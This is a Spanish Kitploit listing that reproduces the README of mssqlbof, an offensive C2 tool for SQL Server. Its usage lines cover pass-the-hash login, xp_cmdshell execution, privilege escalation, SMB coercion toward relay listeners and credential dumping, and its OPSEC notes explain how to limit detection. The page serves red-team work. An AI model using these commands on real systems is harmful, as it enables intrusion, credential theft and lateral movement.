Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
mssqlbof — Un conjunto de archivos de objeto Beacon para Microsoft SQL Server que habla TDS 7.4 directamente en el cable. | Kitploit
Herramientas/GitHubGitHub/mazx0p/mssqlbof
Escalada de PrivilegiosAtaques de ContraseñasExplotaciónMovimiento LateralPost-ExplotaciónPruebas de PenetraciónComando y ControlAutenticaciónRed TeamingDesarrollo de PayloadsSeguridad de Bases de Datos
1018hace 4 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
mazx0p/mssqlbof

mssqlbof

Un conjunto de archivos de objeto Beacon para Microsoft SQL Server que habla TDS 7.4 directamente en el cable.

Ver Repositorio

mssqlbof

Un conjunto de Beacon Object Files para Microsoft SQL Server que habla directamente TDS 7.4 en el cable, en C. Sin msodbcsql.dll, sin sqloledb.dll, sin .NET CLR, sin PowerShell. Un COFF por arquitectura, se carga en cada beacon que respeta la API Beacon canónica.

image

Por qué

SQL Server aparece en casi todos los compromisos. Las dos herramientas que la gente usa son SQLRecon / PowerUpSQL (CLR + PowerShell) y cualquier envoltorio de sqlcmd.exe. Ambas dejan mscoree.dll, eventos de PowerShell AMSI o una copia completa del controlador Microsoft ODBC en la memoria del beacon. Nada de eso es necesario: TDS son solo bytes enmarcados sobre TCP con un handshake de Schannel al frente, y cada beacon capaz de BOF ya tiene cargados ws2_32, secur32, schannel y bcrypt.

Por lo tanto, mssqlbof implementa TDS manualmente, en C, y se conecta directamente a las primitivas SSPI o BCrypt que el operador necesite para el objetivo. El beacon carga un objeto de ~48 KB, ejecuta SQL, lo descarga. Nada más entra en el proceso.

Compatibilidad

Un archivo objeto por arquitectura. mssql.x64.o es el mismo binario en todos los frameworks — solo usamos la API Beacon canónica (BeaconPrintf, BeaconDataExtract, etc.) y el patrón de importación dinámica <LIB>$<fn> que los cargadores de COFF resuelven en tiempo de ejecución.

Inicio rápido

root@kitploit:~
apt install gcc-mingw-w64 libssl-dev
make

Produce build/mssql.x64.o y build/mssql.x86.o. Colócalo en el servidor del equipo, carga con el ejecutor de BOF de tu C2.

Acciones

Todo pasa por un archivo objeto con --action <verbo>:

root@kitploit:~
--action find                                   LDAP enum of MSSQLSvc SPNs in the current forest
--action info     --host <sql>                  server/version/current user/sysadmin/db
--action query    --host <sql> --sql "..."      arbitrary T-SQL, multi-row, multi-resultset
--action links    --host <sql>                  linked-server enumeration (single hop)
--action exec     --host <sql> --cmd "..."      xp_cmdshell with auto enable + restore
--action impersonate --host <sql> --discover    list logins you can EXECUTE AS
--action impersonate --host <sql> --login X --sql "..."
                                                run T-SQL as X via EXECUTE AS LOGIN
--action privesc  --host <sql>                  six-section privesc surface enumeration
--action coerce   --host <sql> --to "\\listener\x"
                                                xp_dirtree SMB auth coercion
--action passwords --host <sql>                 dump sys.linked_logins + sys.credentials
--action chain    --host <sql> --via LINK --sql "..."
                                                EXEC (...) AT [LinkedServer]

--action find se ejecuta sin un host — se comunica con el DC del operador a través de LDAP.

Autenticación

Cuatro modos. Cada modo se verifica de extremo a extremo contra SQL Server 2019 tanto en COFFLoader como en Adaptix C2 en un dominio real.

root@kitploit:~
--auth sspi                                     (default) current beacon thread token
                                                Kerberos if SPN exists, NTLM otherwise.
                                                Honors make_token / steal_token.

--auth ntlm --domain D --user U --pass P        explicit NTLM plaintext.
                                                Drives SSPI NTLM package, multi-leg.

--auth ntlm --domain D --user U --hash <NT>     pass-the-hash.
                                                Hand-rolled NTLMv2 (see below).
                                                No SSPI, no lsass, no make_token.

--auth sql  --user U --pass P                   SQL authentication.

--hash toma un hash NT hexadecimal de 32 caracteres o la forma LM:NT que emite secretsdump.

Por qué el modo hash no es solo SSPI + SEC_WINNT_AUTH_IDENTITY

AcquireCredentialsHandleW(NULL, "NTLM", ...) solo acepta contraseñas en texto plano en la estructura de identidad de credenciales. El proveedor NTLM deriva el hash NT internamente. Proporcionarle un hash requiere parchear lsass (lo que hace Mimikatz sekurlsa::pth) o ejecutar el beacon bajo un proceso sacrificial que ya estaba preautenticado.

La alternativa — la que tomamos — es omitir SSPI por completo para PTH y generar los mensajes NTLMSSP nosotros mismos. src/tds/ntlm_pth.c construye un Type 1 NEGOTIATE, analiza el Type 2 CHALLENGE del servidor desde el token TDS 0xED, ejecuta las matemáticas NTLMv2 con el proveedor HMAC-MD5 de bcrypt.dll, y escribe un Type 3 AUTHENTICATE que SQL Server pasa felizmente al DC.

El primer intento falló con error 18452: login is from an untrusted domain. Capturar la autenticación funcional de Impacket en el cable junto a la nuestra lo redujo rápidamente: estábamos enviando 24 ceros para la respuesta LMv2 y la sopa completa de banderas de negociación de Windows 0xe288... Igualar el cálculo LMv2 de Impacket y su conjunto de banderas más pequeño 0xa2880205 (sin KEY_EXCH, sin SIGN, sin ALWAYS_SIGN) hizo que el servidor aceptara el hash. Escrito en BLOG.

Privesc para --action exec

root@kitploit:~
--impersonate auto          (default) try EXECUTE AS LOGIN, then TRUSTWORTHY hop
--impersonate login         EXECUTE AS LOGIN via an IMPERSONATE grant
--impersonate trustworthy   hop through dbo of a sysadmin-owned TRUSTWORTHY db
--impersonate none          fail if not sysadmin

privesc enumera la superficie antes de elegir un método: membresía de sysadmin, concesiones IMPERSONATE (con el estado de sysadmin del inicio de sesión objetivo), bases de datos TRUSTWORTHY propiedad de un sysadmin (con tu acceso), servidores vinculados, permisos a nivel de servidor y estado de xp_cmdshell.

Compilación

root@kitploit:~
apt install gcc-mingw-w64 libssl-dev
make                    # cross-compile BOFs to x64 + x86
make tds                # Linux shared library of the TDS core (for fuzzing / tests)

La biblioteca compartida de Linux comparte todos los archivos fuente de TDS con la compilación de Windows; solo tls_schannel.c / sspi.c / ntlm_pth.c se intercambian por sus equivalentes OpenSSL / stub.

Nada llama a libc o Win32 directamente. Cada símbolo externo pasa por la convención de importación dinámica <LIB>$<fn> en src/common/dynimports.h. Verifícalo con:

root@kitploit:~
x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND

Solo deberían aparecer MSVCRT$*, WS2_32$*, SECUR32$*, BCRYPT$*, CRYPT32$*, SCHANNEL$*, WLDAP32$*, KERNEL32$*, ADVAPI32$*, y __imp_Beacon*. No msodbcsql.dll. No sqloledb.dll. No mscoree.dll.

OPSEC

Todo TLS es Schannel real (no un stub) con la peculiaridad de envoltura PRELOGIN de SQL Server manejada: el handshake se ejecuta dentro de paquetes TDS PRELOGIN tipo 0x12, luego LOGIN7 sale como datos de aplicación TLS sin procesar, y el servidor responde ese primer paquete de inicio de sesión en texto plano. Las continuaciones SSPI de múltiples etapas también van en texto plano — si las cifras con TLS, SRV02 simplemente cierra el socket.

Documentación

Estado

v0.1.2 — autenticación múltiple, PTH, 11 acciones, verificado en laboratorio.

  • Cuatro modos de autenticación funcionando: sspi, ntlm-plaintext, ntlm-hash (PTH), sql
  • BOF de despacho unificado (mssql.x64.o) con 11 acciones
  • Cuatro métodos de privesc para exec: login, trustworthy, auto, none
  • Continuación SSPI de múltiples etapas con manejo de TDS EOM
  • Pass-the-hash mediante NTLMv2 hecho a mano + BCrypt
  • Verificación completa de extremo a extremo: barrido de 38 casos COFF + barrido de Adaptix C2 en SQL Server 2019 unido a dominio

Casos límite conocidos:

  • Solo caminante de servidor vinculado de un solo salto; la cadena recursiva anidada OPENQUERY es v0.2.
  • El primer SQLBatch después de un inicio de sesión SSPI de múltiples etapas pierde datos. Un SELECT previo en do_connect lo drena — el efecto secundario es la línea [*] connected as ... que registra cada acción. La causa raíz está en la ruta de lectura posterior a LOGINACK y recibirá una corrección adecuada en v0.2.

Créditos

  • Cobalt-Strike/bof_template por la superficie de la API Beacon canónica a la que este proyecto se adhiere exactamente.
  • TrustedSec/COFFLoader por un cargador independiente para probar.
  • impacket's ntlm.py y mssqlclient.py — la referencia que comparamos al perseguir la sopa de banderas NTLMv2.
  • [MS-TDS] y [MS-NLMP] — las especificaciones que sigue todo este código hecho a mano.
  • Opus 4.6 — Partes de la documentación fueron redactadas con la ayuda de Opus 4.6. Todo el código está escrito a mano por MÍ y verificado de extremo a extremo en el laboratorio.

Licencia

MIT.

Descargar herramienta
C2x64x86
Cobalt Strikesísí
Havocsísí
Sliversísí
BruteRatelsísí
Nighthawksísí
Outflank Stage1sísí
AdaptixC2sísí
Metasploit execute_bofsísí
PoshC2sísí
AcciónDLLs adicionales más allá de la línea base del beaconTraza del lado del servidorNotas
findwldap32Evento 1644 del DC (raro)Solo LDAP, sin tocar SQL
info / query / links / privesc / passwordssecur32 o bcrypt, schannel, ws2_32Auditoría SQL 33205 si está habilitadaTDS puro, sin huella ODBC
execlo mismoxp_cmdshell + sp_configure en la traza predeterminadaRuidoso. Usa --impersonate desde un inicio de sesión con pocos privilegios para evitar aterrizar como NT SERVICE
impersonatelo mismoAuditoría EXECUTE AS 33205 + 33206
coercelo mismoIntento de xp_dirtree registradoApúntalo a responder / ntlmrelayx
chainlo mismoEXEC AT registrado en el servidor vinculado objetivoPrimitiva de pivote
DocumentoContenido
docs/PROTOCOL.mdInmersión profunda en TDS 7.4: estructura de paquetes, flujo de opciones PRELOGIN, ofuscación de contraseña LOGIN7, ALL_HEADERS en SQLBatch, la gramática del flujo de tokens (COLMETADATA / ROW / NBCROW / DONE / LOGINACK / ENVCHANGE / continuación SSPI 0xED), la peculiaridad del handshake TLS, el bombeo NTLM de múltiples etapas.
docs/OPERATOR.mdGuía de laboratorio integral: compilación, levantar un listener de Adaptix, colocar un beacon en un host Windows, ejecutar cada acción con cada modo de autenticación (incluyendo PTH), y notas de portabilidad entre C2.
docs/OPSEC.mdHuella por acción en el cable y en memoria. Qué carga cada acción en el beacon, qué deja en la auditoría SQL y qué puede ver un defensor.
docs/COMPATIBILITY.mdMatriz de frameworks C2, matriz de versiones de SQL Server, y qué modos de autenticación están verificados contra qué objetivos.
BLOGLa narrativa de depuración: cómo se construyó la implementación de pass-the-hash, con capturas de red, la pista falsa de los cero bytes LMv2 y la comparación con tshark contra Impacket que lo resolvió.